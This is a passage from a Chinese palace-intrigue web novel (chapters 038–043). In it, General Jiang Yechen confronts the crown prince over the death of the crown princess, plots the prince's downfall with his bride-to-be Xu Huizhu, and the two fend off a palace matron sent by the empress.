“姜夜沉,你竟敢躲?”
“怎么,父皇不在,你这条狗就不装了,咬主子吗?”
太子恨死姜夜沉了,浓郁的恨意折磨着他,让他的精神濒临崩溃。
他一定要弄死姜夜沉,这种强烈的念头快要一点一点盖过登顶皇位的欲望。
“姜夜沉,你就是一条狗!”
“有能耐伸出你的狗爪挠我啊,露出你的狗牙咬我啊。”
“来啊,姜狗!”
“姜狗!姜狗!姜狗!”
“哈哈哈......孤赐给你的贱名如何?”
第038章:待杨柳添新芽之时
太子越骂越兴奋,越兴奋越失控。
此刻的他,哪有一国储君的气质。
犹如京城那些整日混迹于市的纨绔公子,仗着身份一边欺男霸女,一边拍着自己的贵脸口吐芬芳:你打我噻。
太子无数回想要质问父皇,为何事事拿他和姜夜沉比较?
父皇每回都指着他的鼻子打骂、折辱,凭什么?说他这里不如姜夜沉,那里比不上姜夜沉。
他生来血统高贵,是尊贵无双的国之储君,姜夜沉是什么?
卑贱的狗奴才罢了。
主与奴,君与臣,有何可比性?
他心里的苦,是父皇亲手种下的。
他心里的魔,是姜夜沉给的。
他不该恨,不该怨?
姜夜沉回头,眼神平静,一如既往的冰凉、冷漠,新添不屑、鄙夷。
“太子殿下......好幼稚。”
姜夜沉一向话少,凡事能用手里的剑解决,就不会张口,可他同样擅长用言语**于无形。
“太子殿下辱骂,为的就是激怒臣,最好打您一顿,这样您就顶着伤去皇上的面前状告臣以下犯下、殴打储君?”
“太子殿下打算请皇上如何处置臣?”
“夺去锦衣卫统领的职务,还是上交北疆兵权?”
“这两样好东西,太子殿下保证自己能一口吞下?”
姜夜沉话音刚落,几道人影闪现,手里抓着五名朝臣。
这便是太子请来的人证。
“锦衣卫听令,请诸位大人去御书房,亲自向皇上解释他们为何这么晚了还在东宫办理公务?难道太子殿下额外给他们发放俸禄?”
“还有,太子殿下刚刚骂本将军的那些话,原封不动禀报给皇上。”
唔唔唔唔......
五名朝臣满眼绝望,姜夜沉只用简单粗暴的法子处置,不给他们辩解、或求饶、或求救的机会。
锦衣卫领命,眨眼功夫消失不见。
“姜夜沉......你......”
太子扑向姜夜沉,他就不信,姜夜沉打不还手,他若打死他呢。
啪。
“这一巴掌为皇上,太子殿下您身为东宫储君,不为国为民忧虑,不为皇上排忧解难,您不觉得羞愧吗?”
啪。
“这第二巴掌为太子妃,太子殿下您是神明吗?有何资格不敬畏生命?太子妃是青阳的妹妹,也是臣的妹妹,您让太子妃背黑锅还不够,还要她的性命。于理于情,臣都不会放过您。”
啪。
“这第三巴掌为姜夜沉,也就是我。太子殿下,如你所愿,姜夜沉这个名字将是您的人生噩梦,日夜伴随着您,折磨着您。而您,唯有受着。”
以上犯下。
大逆不道。
太子好想让父皇亲眼瞧瞧,亲耳听听,父皇欣赏和信任的姜夜沉,就是一条大逆不道的疯狗。
可惜,姜夜沉完全不给太子说话的机会。
“太子殿下,臣奉劝您好生在东宫里反省。”
“再说,东宫的殿门由臣守着,您能出得去?皇上愿意召见您?皆由不得您。”
“臣奉劝太子殿下别着急,心急弄不死臣,臣的命就在这里挂着,等您问鼎君王之时,再杀臣。”
姜夜沉说完,懒得再理会太子发疯,转身离开东宫。
太子在身后咆哮,一开始怒吼,接着瘫坐在地上。
“陈沅沅在边疆长大,打小舞抢弄棒,身体壮实,又不是第一回挨打,怎么就经不住打?”
“是陈沅沅没用,是她的错,与孤何干?”
“孤不是故意的,陈沅沅又没说痛,又没求孤饶命......孤没错!”
太子的一言一行,自有锦衣卫禀报给姜夜沉。
姜夜沉奉皇命在东宫建造一座佛堂,又在前殿和后殿中间砌一道高墙。
身为锦衣卫统领,姜夜沉在太子妃陈沅沅惨死后才知道,这些年她在东宫过得何等煎熬。
姜夜沉站在陈青阳的院子里,心里一阵难过,皇帝让他来寻陈青阳,告诉他真相,也是让陈青阳暂且放弃报复太子。
也是,太子是储君,陈青阳是臣,死去的太子妃也是臣,君可杀臣,臣能杀君吗?
自是不能。
除非,君不再是君。
哪成想,姜夜沉听到熟悉的声音。
脚步停滞。
“太
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子妃的尸体还在东宫,陈将军,你要当着太子妃的面刺杀太子?”
“敢问陈将军,你能确保刺杀成功吗?”
“皇上再恼太子,也会派锦衣卫保护太子,只怕此刻的东宫,就是一只蚊子难以飞进去。”
“当然,以陈将军和我家将军的过命交情,你若以死相逼,将军可能会放你入东宫,或直接杀死太子再一力抗下罪责......不管哪一种,太子会死,你或将军会陪葬......”
“而我不愿应玄空大师测命,克夫克己。”
“我的命我做主,和姜夜沉的婚事,是我主动争取来的,这个男人,我嫁定了。”
“姜夜沉已许诺我‘妾行妻权’,只要我够努力,有朝一日妾为妻,也不是不可能。”
“陈将军可做过毁人姻缘的恶事?”
徐慧珠说得口渴,拿起茶杯给自己倒一杯凉茶。
陈青阳悲痛到忽略待客之道,她也就忍了。
“还有一个重要原因,太子是渣人没错,明明有一百种法子折磨他、弄死他,陈将军是聪明人,为何选择最蠢的法子?”
“不如,陈将军听听我为太子准备的死路?”
门外,姜夜沉的脚,忽然迈不上台阶。
他这是挖到宝藏了吗?
不知为何,姜夜沉听到徐慧珠这一番言论,只觉得激动,似乎他等着求娶的女子本该如此。
他越发欣赏徐慧珠。
“大小姐,你很坦诚。”
“你说得对,我不能再让沅沅为我忧心,她为我做的太多太多,这些年,是她在拼命护我。”
陈青阳手里的剑,落在地上。
安国,南陈青阳,北姜夜沉。
姜夜沉统领北疆军,是北疆王,又封护国将军。
陈青阳统领南疆军,是南疆王,又封卫国将军。
他们都不喜旁人称呼北疆王、南疆王,他们是将军,天责便是守国护民。
每年二月,杨柳添新芽之时,陈青阳会回京城看望太子妃,这是他们兄妹的约定。
自陈沅沅嫁给太子后,陈青阳从没失约过。
可,这一回,陈沅沅遗忘了约定.....
第039章:最重要的是,为了救你
“青阳。”
“师兄。”
“沅沅**。”
“我知道,我刚从东宫而来,我见到了沅沅。”姜夜沉的声音透着浓浓的悲痛。
“太子那个禽兽竟打**沅沅,师兄,沅沅**,我该怎么办?”
陈青阳身上的萧杀气息散去,转瞬变成一个受了委屈的小男孩,在寻求兄长的庇护。
这......是与姜夜沉齐名的大将军?
颠覆了徐慧珠的认知。
“青阳,是我的错,我在京城,却没照顾好沅沅”
“枉我还是锦衣卫统领,却不知道沅沅在东宫过着人间炼狱的日子。”
“青阳,是我对不住沅沅,也对不住你。”
陈青阳摇头,“不,师兄,沅沅不会怪你,我亦不会。”
“你我皆知,以沅沅的聪慧,她有心隐瞒,绝不会暴露一丝一毫的痕迹。”
“我也不懂,沅沅为何豁出性命维护太子那个禽兽?她为何一个字都不说......”
徐慧珠悄悄观察眼前的两个大男人,陈青阳忙活着告状,姜夜沉在认真倾听。
陈青阳说一句,姜夜沉接一句。
而她,似乎显得有点儿多余,像是横插在两人感情里的“第三者”?
徐慧珠来的时候,和金夏翻墙,又跟暗卫过了几招。
回府之时,搭上姜夜沉的马车。
徐慧珠偷偷看了姜夜沉好几眼,还是没忍得住内心的疑惑,“将军,您有几张面孔?”
“你看到的我,便是真实的我。”姜夜沉轻轻一拉,美人儿入怀,熟悉的触感,熟悉的气味。
他累了一整日,好想抱一抱她。
他的药人。
他抱着她,能入眠,还能止痛。
“慧珠,今日我过得......很不好。”
姜夜沉语气哽咽,唯有在徐慧珠的面前,他忽然想释放自己的软弱。
这世间,本就不存在铜墙铁壁般的人。
姜夜沉是安国百姓的守护神,可在无数个深夜里,他也会被暗色吞噬,被噩梦纠缠,被腥血淹没,越挣扎,越深陷于深潭里。
他一直在苦苦挣扎,艰难自愈,却走不出那一片被心魔覆盖的沼泽地。
直到遇见徐慧珠。
他的面前,忽然就出现一条弯弯曲曲的小道。
小道平坦,一路花香。
“我知道。”
“所以,太子妃的仇,我也想帮忙。”
“太子轻视女人,我便让他眼睁睁看着自己毁在女人的计谋里,死在女人的手里。”
“姜夜沉,相信我,我有这个能力。”
徐慧珠说出这样的大话,世人皆会笑她不自量力。
尚书府的嫡女身份,莫说护她一世,就是护她一时,也艰难无比。
但,姜夜沉相信。
毫无保留地信任。
“仓国赫连敬的死,是你一手策划?你早就知道太子同赫连敬私下勾结,也清楚迷香楼是太子的秘密产业?”
徐慧珠点头,“我要曝光迷香楼,要弄死赫连敬,以阻断太子借力于仓国,要弄死太子最为倚重的幕僚重殷先生......我要在皇上的心里埋下一颗怀疑的雷,终有一日,由皇上下令夷平东宫,炸死太子。”
“最重要的是,为了救你。”
半年前,北疆军和仓国打过一仗,后和谈交换俘虏,双方各一百将士。
可,那仓国一百将士在交换完回到仓**营的当夜**身亡,无一活口。
仓国赫连敬王爷扬言手握证据,指证姜夜沉下密令在交换俘虏前给仓国一百名将士下毒。
还说,姜夜沉立誓要踏平仓国土地,杀光每一个仓国人。
更重要的一点,给仓国一百名将士下的毒,来自坞国皇室。
如此证明什么?
姜夜沉极可能是坞国派到安国最隐秘的细作,他的身份亦可能与坞国皇室有关。
真真假假。
假假真真。
有时候,无需君王相信,只要在君王的心里种子一颗颗怀疑的种子,等待种子生根发芽,就算姜夜沉有办法洗清嫌疑,证明清白,但在君王的心里,他真的就清白了吗?
这回赫连敬王爷秘密先行,就是要在迷香楼与东宫幕僚重殷先生会面,密谋如何泼一盆脏水给姜夜沉?
除掉姜夜沉,是太子
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报复私仇的心愿,却是仓国为蚕食安国的大计。
“太子倒是信赖重殷先生,赫连敬王爷多疑,这样一来,所谓证据都在他们身上,所谓人证都藏在迷香楼......”
“我便一锅端了,毁灭证据,杀**证,让他们的计划还未开始执行便胎死腹中。”
“将军,经此一事,您该清查一番北疆军,您没在北疆镇着,有些人的心思大了贪了,有些人经受不住敌人的糖衣炮弹攻击......”
怀里的女人,她知道自己在说什么吗?
这些话,足够让她死无葬身之地,也足够摧毁尚书府,要了徐从德的性命。
可,姜夜沉莫名相信,徐慧珠说的话,做的事,只是为了他,与徐从德毫无干系。
“徐慧珠?”
姜夜沉的手抚上她的脸颊,迫使两人四目相对。
“将军是想问我,一介闺阁女子为何会知道这些?为何武功不弱?为何要处处为将军考虑,对将军好?”
这些,的确是姜夜沉的疑虑。
他命云霄阁查过徐慧珠的信息,若说特别之处,是她的生母林月华,是个孤女,被徐从德一次游历捡回来的,脑子受过重伤,不记得前尘往事。
徐从德对林月华的态度很奇怪,给一个孤女嫡妻的身份,又无视老夫人和二房欺辱,直到林月华在生产第二个孩子时难产,明面上死于难产,真相令人发指。
“如果哪一天将军想听,我就告诉您。”
告诉姜夜沉,她做的那些匪夷所思的梦,在梦境里,她和他纠缠两生两世。
两世皆无果。
这一世,在两人的纠缠里,她不再自以为是,不再自作主张,不再眼瞎心盲。
她和他,犹如这世间的普通男女,能否享受一场情爱,经营一个家庭,生儿育女,携手过完这一生?
“只是,我万万没想到,太子不仅甩黑锅给太子妃背,还殴打太子妃惨死。”
“将军,我欠太子妃的。”
“我来偿还。”
徐慧珠谋算的局里,出了太子妃这个意外。
是她的错。
是她大意了。
第040章:以国丧之礼葬太子妃
太子妃大丧事宜,皇帝下旨太子悲伤过度,自请在东宫建佛堂闭关,由姜夜沉和陈青阳负责。
东宫建小佛堂一事,并未走工部流程,直接由锦衣卫督办。
不过一日一夜的光景,佛堂建好,太子住进佛堂,一概不见外人。
姜夜沉格外忙碌,有时回来夜半,有时天明,直奔煮雨院,多余话都来不及说一句,抱着徐慧珠一瞬入睡。
哪怕入眠一两个时辰,姜夜沉立马从疲惫不堪到满血复活,又精神百倍地去办差了。
她是他的良药。
他却是精怪,专门吸食她的气息,好滋补自己的身子。
太子妃的死,为国丧。
从太子妃身染恶疾药石无灵,到皇帝下旨,再到陈青阳诡异般的平静,朝堂上看似风平浪静,暗里已是风起云涌。
但,无人敢明着打探消息,因为谁都不愿被锦衣卫盯上,一旦入了锦衣卫的眼,轻则伤筋动骨,重则尸骨无存。
太可怕了。
皇帝厚旨,太子妃以国母规格葬入皇陵,也就是说,待太子继位,新后只得为继后,对着太子妃的灵位执妾礼,名份如何也越不过太子妃。
人死如灯灭,空留虚名有何用?
丧事刚结束,姜夜沉就亲率锦衣卫第一日抄家临王府,第二日抄家禁卫军副统领肖岭的府邸,第三日抄家元伯府。
一连三日,京城处处可见锦衣卫,抄家、审讯、下诏狱、**......锦衣卫的诏狱人满为患,刑具上的腥血没干透过。
姜夜沉身上的血腥气,越来越重,人们提说姜夜沉,恐惧更甚。
世道便是如此,大手一挥张口下令的是皇帝,干脏活累活的是姜夜沉。
世人奴性使然,不敢编排皇帝,更不敢质疑皇权,两相比较之下,姜夜沉是背黑锅的人,也是软一点的柿子。
金夏出府一趟,回来满脸怒气。
“大小姐,您是不知道,春韵茶馆的说书先生好生过分,他新说《活阎王》,奴婢听着就是在内涵将军。”
“哦?说的什么?”徐慧珠并不觉得惊讶,姜夜沉是皇帝手里的**利器,干的都是抄家抓人、酷刑**的活,恨他入骨的人皆权贵。
而**掌控在权贵的手里,姜夜沉的名声能好才怪。
于百姓来说,北姜夜沉南陈青阳,正是两位战神将军镇守边疆,才换来百姓安居乐业,不受战火之苦,值得每一名百姓敬仰。
但,百姓思想纯粹,又最易引导、蛊惑,那些可怕的谣传传遍街头巷尾,姜夜沉的弑杀冷情,又让百姓深深惧怕。
这回,姜夜沉亲带锦衣卫一连三日抄家三座权贵府邸,那些本就仇恨姜夜沉的势力怎么会放过败坏他名声的大好机会。
“说书先生还好意思说是虚构故事,又未指名道姓,可奴婢都听得出来,字字句句暗指将军。”
“说将军是地狱里的活阎王,是菜市口的刽子手。”
“还说,将军身患弑杀症,**成瘾为乐,指不定将来京城的人都让将军杀光杀绝。”
金夏气到眼睛发红,“大小姐,奴婢......奴婢闯祸了。”
“奴婢偷偷暴揍说书先生一顿,奴婢还查到春韵茶馆是苗夫人的产业,奴婢打算今夜潜入苗府,给苗夫人的被窝扔几条蛇。”
果然,有金夏这般爱憎分明的奴婢,越发衬托徐慧珠这主子当的优秀。
徐慧珠取出一只瓷瓶,“说书先生仗的是一张嘴皮子,既然满口喷粪,又不会说人语,那日后就当哑巴好了。”
金夏散去眼里的怒气,“奴婢敬仰将军,只恨自己没能生成男儿身,不能同将军并肩杀敌、保家卫国。”
“大小姐,为何女子不能为将军?为何女子不能为官?为何女子不能为女帝?”
金夏说完,才后知后觉失言,这番话要是传出去,她和大小姐不能活了。
“大小姐,奴婢......奴婢......”
徐慧珠喃喃道,“是呀,女子为何不能?”
金夏身负武功,志向远大,就因为她出身低微,又是女子,只能困在深宅后院里,为奴为婢。
她呢,尚书府贵女,看似身份
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尊贵,从出生就享受锦衣玉食,却是一颗棋子罢了。
这个问题,困扰她两世,求而不解。
这几日,徐慧珠这剂良药只得白日黑夜都待在煮雨院,等姜夜沉“吸食”她的气息。
姜夜沉和陈青阳的报复计划,不仅没有瞒着徐慧珠,还邀请她一同参与。
等太子出得东宫的那一日,便会发现,他的羽毛被拔光,从雄鹰变成光秃秃的山鸡,离皇位越来越远。
到最后,太子一无所有。
这一切,太子都会眼睁睁看着一点一点失去,而他,只能看着。
陈青阳此番回京,明为看望太子妃,暗里押送尊贵的俘虏——坞国夏尔花郡王。
姜夜沉亲自审讯,夏尔花是坞国的英雄,一百零八种酷刑才用到第五道,夏尔花跪地求饶,变成骨气尽失的狗熊。
据夏尔花交待,他和仓国王爷赫连敬私交甚好,两人联手制定策略:仓坞联盟,以克安国。
一是,边疆制造骚乱,小战不断,为**。
二是,仓国派遣使团赴京假意和谈,为糖衣弹。
最终目的,就是挑起安国内斗。
诛杀能将良臣。
强国衰败,从无休无止的内斗开始。
东宫幕僚重殷先生、临王、禁卫军副统领肖岭、元伯爷,便是赫连敬侵蚀的目标。
差一点,就成功了。
当然,无论是姜夜沉,还是陈青阳呈上的证据,没有一条指明与太子有牵涉。
皇上甚至亲审夏尔花、临王等,也证明太子确实无辜。
国之储君,怎么可能**叛国?
“大小姐,论谋人心,我甘拜下风。”
“你说得极对,赫连敬死无对证,夏尔花招供的秘密,锦衣卫一番查下来,太子越显得清白干净,只会皇上更疑心太子。”
“皇上的亲子,由皇上来杀,才更合适。”
徐慧珠的报复计划更粗暴残忍,只取太子的性命,那这仇这恨,报复的有何意义?
**先诛心。
太子妃的身体有多痛,那就以千倍万倍的痛回敬太子。
第041章:引诱太子的罪魁祸首是他?
“皇上隐约有废太子之意,没有明说,但皇上不止一次试探我。”
姜夜沉身为锦衣卫统领,几乎日日可见天颜,自是能窥探几分帝意。
但,他想不通的是,皇帝有废太子之意,应该同心腹重臣商议才是,他是一把刀,试探他何意?
难道因为他嘴巴更紧?
姜夜沉不禁想,若他向皇帝实话实说,说太子不堪大任、不配为君,皇帝能听得进去?皇帝不会治罪于他?
帝心难测啊。
徐慧珠接话,“天下之剑,自然皇帝这把剑最为锋利,只要利用得当,收效定会翻倍。”
“大小姐的意思是?”陈青阳惊了一跳,他还是头一回遇见这般自信到可怕的女子,敢说出借刀**的大话,借皇帝这把刀杀死皇帝的亲生儿子?
还能如此复仇?
倒是新鲜。
这不仅是诛太子的心,简直是诛魂诛魄了。
“陈将军收拾一番,入宫状告太子,提议废太子。”
“理由太子替自己找好了,生性残暴、无品无德,疑似精神疾病。”
“总之,陈将军心里所想,如实说出来就是。”
“陈将军是南疆之柱,对皇上的忠心,对社稷的作用,皇上心里明白着。”
由太子妃的死,牵涉出东宫一条条人命,其中竟有怀着身孕的侍妾,只因太子心情不好,而侍妾恰好撞见,便被太子活生生殴打致死。
太子杀子。
今日杀子,明日可能弑父?
皇帝能不心寒?
皇帝能不怕?
东宫后院能活着的女人,太子膝下仅存活的三位郡主,都是托太子妃的福,拼命护住的。
一个太子妃哪能保护得了东宫后院那么多女人。
她已经尽力了,为此付出生命的代价。
也万幸她们生下的是郡主,而非公子。
不然,太子妃就是拼命,也护不下的。
太子心理变态扭曲,他为了向皇帝示弱,为了消除皇帝的疑心,竟想出不让子嗣,尤其是儿子降生的阴损招数。
皇位,令太子迷失,更令太子疯魔。
太子,已然不是“人”了。
谁成想,引诱太子疯魔的罪魁祸首就是重殷先生。
他的理由更是荒唐至极,因为他的一对双生女儿才八岁,还需要十年时间长大,才能成为太子的女人,生下太子的儿子。
重殷先生的远大抱负,就是想要留着重氏血脉的皇子,坐上这天下至尊的皇位。
天子一怒,血流山河。
安国,从此再无重氏活人,更无“重”这一姓。
人死绝,姓消亡。
证据如今就摆在皇帝的御案上,这个时候,陈青阳入宫状告太子,于公于私,于理于情,他请求废太子,皇帝就算震怒,也不会降罪。
太子妃的死,让陈青阳一夜白头。
他唯一的妹妹,相依为命的妹妹**,他的悲痛,无人能感同,无人能身受。
再说,陈青阳又没说错,太子只是东宫储君,上有皇帝压制,他就敢把毒打太子妃当作家常便饭。
有朝一日,他登顶王位,岂不是顺他者担惊受怕活,逆他者死路一条?
如此一来,这绵延江山、万千百姓,能放心托付给太子吗?
姜夜沉的眼睛亮了,顺徐慧珠的话往下接,“当初迷香楼大火案,烧出来两条大鱼,仓国王爷赫连敬和东宫幕僚重殷先生。”
“这些年,迷香楼赚来的银子去了哪里,用在何处?仓国偷偷给太子什么好处?”
“皇上下令锦衣卫停止调查,是因为皇上心知肚明何为真相。”
有时候,就是很气人,姜夜沉应该比太子更了解皇帝,更能理智分析皇帝。
太子猜来猜去,全猜错了。
“青阳,坞国郡王夏尔花是你抓住的,但审讯是在夏尔花被押送回京后由锦衣卫进行,甚至可以说是皇上亲审,看似与太子无关,实则千丝万缕都指向太子。”
锦衣卫查出来的证据,姜夜沉看过之后,才呈给皇帝。
临王,皇帝的皇叔,太子得尊称一句“皇叔公”,是教授太子的先生之一,主教史记。
老临王大半截身子已入黄土,一生享受皇族荣耀、百姓供奉,却在临老之时背叛母国。
禁卫军副统领肖岭的妹妹,是太子的侧妃。<
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br>听说这位肖侧妃不怎么受宠,又在生育静安郡主时伤了身子,一年大半光景居住在温泉山庄静养。
不受宠还能平安生下静安郡主?
如今看来,肖岭倒是疼爱肖侧妃这个妹妹,太子也是真心拉拢手握实权的肖岭,肖侧妃不仅活着,还活得极好。
再就是元伯府,同属老牌权贵之一,处境比宋家好些,依附于东宫苟活。
元伯府虽落魄了,但出了一位武将元彬,是陈青阳部下的将领之一。
转眼来到二月十日,距离大婚还有四天,内务府送来嫁衣。
“大小姐,这嫁衣真漂亮,您快试试。”
金秋捧着嫁衣,满眼喜色,“大小姐您瞧嫁衣上绣了九十九颗东海珍珠,太精美太奢华了,奴婢听说这九十九颗珍珠就值十万两银子。”
金夏说话实诚,“那大小姐岂不是穿着十万两银票在身上,啧啧啧。。”
“珠光宝气。”
“大小姐,将军这般看重您,待您嫁到将军府,也是苦尽甘来。”金冬心思敏感,平日里话少,今日看着华丽嫁衣也禁不住惊呼,“大小姐,这嫁衣......是......是正红。”
“天呐,是正红。”金秋激动的眼眶发热。
“真的是正红,嫡妻才能穿的大红嫁衣。”
“大小姐,将军对您当真是掏心掏肺的好,将军才是真君子,一言既出驷马难追的君子。”金夏的嘴巴,一开口就跟放鞭炮似的,噼里啪啦不停歇。
今日的金夏,嘴皮子开了光,利索的很。
“大小姐,您嫁给将军,真真嫁对了人。”
“赐婚圣旨、大红嫁衣、妾行妻权......放眼京城,不不不,就是在安国,您也是史无前例的头一个。”
“大小姐,日后您在京城,可横着走倒着走,没人敢轻视您欺您辱您。”
金夏满心欢喜,大小姐嫁对儿郎,她崇拜的神明果真是神明。
徐慧珠心里也是欢喜的。
她想要的东西,便是那悬崖峭壁上的一株花儿,她说开得娇艳,姜夜沉飞跃而去亲手摘下,捧到她的面前。
博她一笑。
第042章:她是将军的心尖宠
重活的当晚,她夜探将军府,提出替嫁,还要妾行妻权......姜夜沉连犹豫不曾,轻易就应了她。
她听大福嘟囔过,说姜夜沉曾问他一句奇怪的话:大福,你可相信男女缘分乃天注定?缘分像是天上掉落的馅儿饼,精准砸在某个人的头上?
主仆四人正说着话,皇后娘娘懿旨到了,一同来的是皇后娘娘身边的女官秦嬷嬷。
“老奴拜见大小姐。”
秦嬷嬷有官级在身,按说见着徐慧珠不用行大礼。
徐慧珠赶忙上前在秦嬷嬷跪地之前扶住,“秦嬷嬷不必行大礼,婚期将近,我是既紧张又惶恐,有秦嬷嬷在一旁指点,我便安心了。”
徐慧珠说罢,冲着皇宫的方向跪下,“臣女感激皇后娘娘的厚爱。”
秦嬷嬷不动声色打量徐慧珠,头一回见面,你来我往的初试探,她便看得出来徐慧珠是一条滑不溜湫的鱼儿。
似乎,很难拿捏啊。
不过,想到离宫前皇后娘娘说的话,以及凝玉公主下的命令,秦嬷嬷眼里的暗色更浓。
徐慧珠是个有心计的聪明女子,可惜,得罪了不该得罪的人,肖想了不该肖想的贵重东西。
夜里,姜夜沉回来很晚,不等徐慧珠告状,他先问起秦嬷嬷。
“皇后娘娘恼怒锦衣卫跟太子作对,给太子难堪,所以太子的账,皇后娘娘记在我的身上。”
“皇后娘娘不好明面上为难我,就冲你下手。”
果然,与徐慧珠猜测的不差。
她就说嘛,姜夜沉这般高调,皇后娘娘和凝玉公主不可能无动于衷,她们人在深宫,手伸得不够长,也是要伸手搅和的。
“我先前越过皇后娘娘,直接请求皇上赐婚,以娶妻规格迎你过门,还在皇上那里过了‘妾行妻权’的明路。”
“对皇上来说,我提出的这些要求,可能稍稍违背礼制,够不上大逆不道。”
“皇上以恩赏换来我更真诚的忠心,这旨意下得没错,这脸面给得不亏。”
皇上没错,姜夜沉是小错,那犯下大错的是谁?
毫无疑问,就是徐慧珠了。
所以说,徐慧珠能得到多实惠的好处,就得承受皇后娘娘和凝玉公主的厌恶,甚至报复。
这一点,徐慧珠能想得通,也不惧怕。
不管对方是谁,何等身份,敢害她一分,她定回敬十分。
敢向她伸一根手指,她就折断对方一根手指。
敢向她伸出一只手,她就举起**,齐整削短对方的手掌。
“皇后娘娘代表的是天下嫡妻,而我是妾。”
“妻为贵,妾为贱,尊卑有别,此乃天理,我何德何能打破这百年传承下来的传统?”
“再说,皇后娘娘统领六宫,若威严尽失,如何服众?”
“如今出了我这个异类,等同于膨胀世间妾室的贪婪,让卑贱的妾看到曙光和希望......”
徐慧珠忽然发笑,他们背后说皇帝和皇后娘娘的“坏话”,也不知这两位上位者的耳根是否发热?
“左右还有四日便是大婚,且看秦嬷嬷的手段。”
“将军不用担心,我能应付。”
徐慧珠感受到姜夜沉的困意,普神医的原话:大小姐比安神汤药更管用。
“将军,若我弄残或弄死秦嬷嬷,然后推到您的身上,这黑锅您可背得住?”
“自是可以。”姜夜沉撑着最后一丝清明回答,“徐慧珠,你尽可仗我的势。”
徐慧珠嘴角上扬。
因着姜夜沉这句话,徐慧珠欢喜到失眠了。
果然,情话醉人啊。
直到天渐明,徐慧珠才迷迷糊糊睡过去。
“秦......秦嬷嬷,您起得早啊,您睡得可好?有没有岔床铺?”
金夏正在院子里练剑,也是为大小姐望风,毕竟姜夜沉宿在大小姐房里,传出去,旁人只会指指点点大小姐不贞不洁。
“你叫金夏是吧,大小姐身边的一等奴婢?”
秦嬷嬷昨日短暂观察,心下决定先从四肢发达、头脑简单的金夏开始试探徐慧珠。
“身为奴婢学的该是伺候贵人的本事,而不是舞刀弄枪的功夫,没规没矩,可不行呀。”
金夏揍人擅长,嘴巴还是稍显笨拙,四金里,金秋嘴皮子最利,言语怼人鲜少输过。
不,金春叛主后,煮雨院里只余三金。
“奴婢金秋见过秦嬷嬷。”
金秋笑吟吟行礼,“秦嬷嬷安好。”
又说,“金夏姐姐,还是你勤奋,起这么早
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练习剑舞。”
剑舞?
秦嬷嬷目色一滞。
金秋故意发问,“秦嬷嬷,您见多识广,您觉得金夏姐姐这剑舞跳的如何?能否入得将军的眼?”
秦嬷嬷此时还有什么不明白的,若非大小姐恃宠而骄,金秋一介奴婢,怎敢搬出姜夜沉这尊大佛。
“女子跳剑舞,实属不文不雅。”
秦嬷嬷的嘴里,吐不出好听的话。
“秦嬷嬷此言差矣。”金秋竟敢反驳秦嬷嬷,她的胆子比皇宫里的宫人还大些。
秦嬷嬷的脸色微变。
“秦嬷嬷应该知道,将军真心诚心求娶我家大小姐,万万不愿大小姐受委屈,又是求皇上下赐婚旨意,又是以嫡妻规格迎娶,又是大红嫁衣不说,嫁衣上还绣着价值十万两银子的九十九颗东海珍珠。”
“将军还说,待大小姐嫁过去,虽为贵妾,但可行妻权......”
“秦嬷嬷您说,大小姐能不感动吗?所以,大小姐投将军所好,亲自编排一曲剑舞,让金夏姐姐跳给将军看。”
“将军看过金夏姐姐排练,还夸赞金夏姐姐跳的不错,又命金夏姐姐多加练习,到时选拔一队女子练习剑舞,为皇上表演。”
金秋是懂得如何气人伤人的,先是搬来姜夜沉,又搬来皇上,堵死堵实秦嬷嬷的嘴。
将军让金夏跳的剑舞,还得将军夸赞,秦嬷嬷敢当将军的面阴阳不文不雅?
再说,这剑舞是要献给皇上的。
秦嬷嬷被金秋这一顿噎的难受,她在后宫沉浮几十载时光,已经好些年没受过这等憋屈的气。
气大伤身,秦嬷嬷被金秋伤得不轻。
内室里,徐慧珠换了个舒坦的姿势,冲着正穿衣的姜夜沉说,“秦嬷嬷要是指责我婚前不检,或水性杨花勾引将军,请将军为我作证,证我的清白,明我的无辜。”
在与秦嬷嬷正面交锋之前,徐慧珠得让秦嬷嬷明白一个道理,她徐慧珠有势可仗,秦嬷嬷就是使手段,也得悠着点来。
老话说,打狗还得看主人。呸呸呸,秦嬷嬷才是狗,她徐慧珠是姜夜沉的心尖宠。
“将......将军?”
秦嬷嬷一抬头,就看见姜夜沉,“将军昨夜宿在大小姐的房里?”
第043章:高奴一等
“秦嬷嬷管得倒宽。”
姜夜沉敢堂而皇之面对秦嬷嬷,就不怕“捉奸”。
“本将军同慧珠大婚前培养感情,此举皇上也称赞甚好,难道秦嬷嬷觉得不妥?”
“老奴岂敢。”秦嬷嬷心里一惊,更觉得疑惑。
姜夜沉不能人道,按理说,男人最好脸面,不愿女子近身才是,孤男寡女睡在一张床榻,盖上锦被单纯睡觉?
凝玉公主要是知道,恐怕会发疯。
她的东西,岂容旁的女子染指。
“秦嬷嬷识趣最好,慧珠累了,秦嬷嬷若有事,午后再来禀报。”
徐慧珠要他先给秦嬷嬷一个下马威,他自然得谨遵妻命。
不然,她一生气不给他留门,他的睡眠困难症再犯,难受的还不是自个儿。
大小姐累了?
单纯睡觉而已,有什么疲累的?
他们到底在床榻上做了什么累的事儿?
“不要脸。”
秦嬷嬷心里骂一句,脸颊又热又红。
当然,秦嬷嬷骂的是徐慧珠。
哪怕是心里偷骂,秦嬷嬷也不敢骂将军。
“回禀将军,奴婢的剑舞已练好,请将军一观。”
金夏头一回在将军面前表现,既紧张又兴奋。
徐慧珠想要培养自己的得用人手,得有名目才行,为皇上献剑舞,可作为漂亮的由头。
金夏那一日说的话,对徐慧珠触动极大,就算世道艰难如何,世道不公又怎样,她偏要做女子背后的那座山。
她会从锦衣卫训练营里挑选十名女子,加上金夏,组成舞剑队。过上五年、十年,舞剑队的女子就能独当一面,或参加科考争夺文武女状元,或做女将军,或当真正意义上的女官......
万幸,她要嫁的人,是姜夜沉。
可,天下之大,也就一个姜夜沉。
“嗯,甚是不错。”姜夜沉不吝称赞,“金夏,你去寻大福,他会带你去锦衣卫训练营选人。”
“秋日狩猎之时,本将军便将剑舞献给皇上。”
“剑舞一事,灵感来源于慧珠,便由慧珠负责。”
先是在皇帝那里过上明路,又找到秦嬷嬷这个人证,到时,皇后娘娘就是有心发难,也得咽下这口浊气,总不能啪啪打自己的贵脸吧。
秦嬷嬷一大早没见着徐慧珠,只得返回偏房生闷气。
她都来了一整日,徐慧珠好吃好喝奉着,就是不给她安排活。
时光难熬。
尤其是,留给她的时间紧张,任务超重。
午膳刚过,秦嬷嬷迫不及待求见徐慧珠。
她偏不信邪,只要将军不在,她还拿捏不住徐慧珠?徐慧珠比深宫嫔妃还难缠?
“老奴见过大小姐。”
